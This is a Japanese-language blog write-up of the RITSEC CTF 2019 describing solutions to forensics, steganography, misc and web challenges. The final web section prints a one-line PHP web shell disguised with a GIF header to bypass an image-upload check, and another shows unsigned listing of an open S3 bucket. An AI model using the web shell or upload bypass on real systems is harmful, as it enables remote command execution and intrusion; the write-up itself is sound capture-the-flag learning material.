RITSEC CTF 2019 Writeup
11月16〜18日にRITSEC CTFが開かれており、zer0pts
として参加しました。
結果は、チームで2669pts、68位でした。そのうち、僕は1243pts取りました。
今回は、zer0pts
で参加といっても弊チームのプロがお休み回だったので、個人的には普段より解けました。
といっても、68位…まだまだ僕のレベルはミジンコですね。
- [Forensics 100pts] Take it to the Cleaners
- [Forensics 100pts] Vacation
- [Stego 284pts] HD Pepe
- [Misc 100pts] Onion Layer Encoding
- [Misc 391pts] Crack me If You Can
- [Web 100pts] Buckets of fun
- [Web 158pts] Potat0
- 最後に
[Forensics 100pts] Take it to the Cleaners
画像が渡されるので、exiftoolにかけてみると、User Comment
にRVZHRlJQe1NCRVJBRlZQRl9TTlZZRl9KQkFHX1VSWUNfTEJIX1VSRVJ9
とあります。
これは、明らかにbase64なので、デコードするとEVGFRP{SBERAFVPF_SNVYF_JBAG_URYC_LBH_URER}
となり、ROT13するとflagでした。
RITSEC{FORENSICS_FAILS_WONT_HELP_YOU_HERE}
[Forensics 100pts] Vacation
chromeのバックアップらしきものがもらえます。
バックアップの復元で適当にググると、linuxでは$HOME/.config/google-chrome
においておけば良さそうです。
backup - How to back up and restore chrome in ubuntu? - Ask Ubuntu
この状態で、chromeを立ち上げると、ブックマークにフラグが書いてありました。
RITSEC{CHR0M3_BM_FTW}
[Stego 284pts] HD Pepe
問題文にPepe is alpha tier
とあるので、アルファの値を取り出してみます。
[170, 148, 147, 170, 170, 207, 169, 187, 154, 207, 207, 133, 171, 171, 177, 171, 167, 207, 177, 189, 171, 147, 198, 188, 178, 206, 198, 177, 177, 186, 135, 181, 174, 207, 147, 175, 169, 169, 177, 198]
フラグの長さっぽいですが、文字にはなりません。0xffから引いた値だと文字になりそうなので、やってみると、
UklUU0VDe00zTTNTX0NBTl9CM19NNExJQ0lPVVN9
またまた、base64ですね。デコードすると、フラグでした。
RITSEC{M3M3S_CAN_B3_M4LICIOUS}
画像がでけぇ
[Misc 100pts] Onion Layer Encoding
問題文にbase16, 32, 64を使って、150回エンコードしたよみたいなことが書いてあります。 base16, 32, 64のそれぞれに出現する文字で判断して、デコードしていきます。
from base64 import b16decode, b32decode, b64decode with open('./onionlayerencoding.txt', 'r') as f: d = f.read().strip().encode() while True: if (b'a' in d) or (b'b' in d) or (b'c' in d) or (b'd' in d) or (b'e' in d) or (b'f' in d) or (b'g' in d) or (b'h' in d) or (b'i' in d) or (b'j' in d) or (b'k' in d) or (b'l' in d) or (b'm' in d) or (b'n' in d) or (b'o' in d) or (b'q' in d) or (b'r' in d) or (b's' in d) or (b't' in d) or (b'u' in d) or (b'v' in d) or (b'x' in d) or (b'y' in d) or (b'z' in d) or (b'w' in d): d = b64decode(d) elif (b'G' in d) or (b'H' in d) or (b'I' in d) or (b'J' in d) or (b'K' in d) or (b'L'in d) or (b'M' in d) or (b'N' in d) or (b'P' in d) or (b'Q' in d) or (b'R' in d) or (b'S' in d) or (b'T' in d) or (b'U' in d) or (b'V' in d) or (b'W' in d) or (b'X' in d) or (b'Y' in d) or (b'Z' in d): d = b32decode(d) else: d = b16decode(d) if b'RITSEC' in d: print(d) break
RITSEC{0n1On_L4y3R}
うぅ…脳死コードを書いてしまった。
[Misc 391pts] Crack me If You Can
$ nc ctfchallenges.ritsec.club 8080 Some moron just breached Meme Corp and decided to dump their passwords... In the meantime, prepare your GPUs, and get Ready... Set.... and go CRACK! However... We have a theory that the passwords might come from darkweb2017-top10000.txt, 500-worst-passwords.txt or xato-net-10-million-passwords-1000000.txt b9124b96bb6bd61214ab5f767445e46b
最初は何を入力すればいいのか、ちょっとよくわからなかったですが、crackしろなりパスワードのリストが示されていたりしてるので、hash値っぽいものをCrackStationに投げてみます。
crackできました。このbrian
を投げると、更に新しいhash値が生成されます。
3回正解すると、フラグがもらえました。
ただ、crackstationだと、wordlistを網羅しきれていないので、解析ができなかったりするので運まかせです。
それと、僕はわからなかったのですが、生成されるのはhash値だけではなくて、$6$MkHeHEvJBpR3isGL$uhpt4R5wSfkLYkkrIu2EpNjknFycy6NqOFWNO2Ar/0RWnUcDPLYYiir7uAYt8N9eqV31egI9krXjZ6BIEMh7c/
みたいなものもあったのですが、よくわかりませんでした。
なので、3回運良くハッシュ値かつ解析できるものになるまでひたすらやりました。
RS{H@$HM31FY0UCAN}
[Web 100pts] Buckets of fun
http://bucketsoffun-ctf.s3-website-us-east-1.amazonaws.com
Author: scriptingislife
awsのs3サーバーを使っていることがURLからわかります。 aws cliを用いて、このバケットへlsしてみます。
$ aws s3 ls s3://bucketsoffun-ctf/ --no-sign-request 2019-11-22 23:00:21 630 index.html 2019-11-22 23:00:21 25 youfoundme-asd897kjm.txt
アクセス権の設定が激あまだったので、 --no-sign-request
をつけることで、アクセスできました。
youfoundme-asd897kjm.txt
があることがわかったので、アクセスするとフラグがありました。
RITSEC{LIST_HIDDEN_FILES}
[Web 158pts] Potat0
ptr-yudaiがasis-final運営の合間に、upload.phpとuploadsディレクトリがあると伝言を残してくれました。 upload.phpに適当にテキストをアップロードしてみますが、imageしかだめなようです。
pngとかにするのめんどくせーと思っていたら、このサーバーの設計が悪くて、uploadsに他人がアップロードしたファイルが時々混ざっていました。
他の人のファイルを拝借すると、GIF89a;
とテキストに書いたものを使ってphpinfoを表示させているものがありました。
手元で確かめると、確かにGIF89a
とつけるだけで、GIFファイルだと認識されました。
これを使って、Remote File Inclusionをします。
GIF89a; <?php system($_GET["cmd"]);?>
をアップロードして、?cmd=ls
で見ると、無事中身が表示されました。
あとは、ひたすらディレクトリを調べていきます。
homeにflag.txtがありました。
RS_CTF{FILE_UPLOAD_ISN'T_SECURE}
最後に
こいつ、ほんまにcrypto担当か?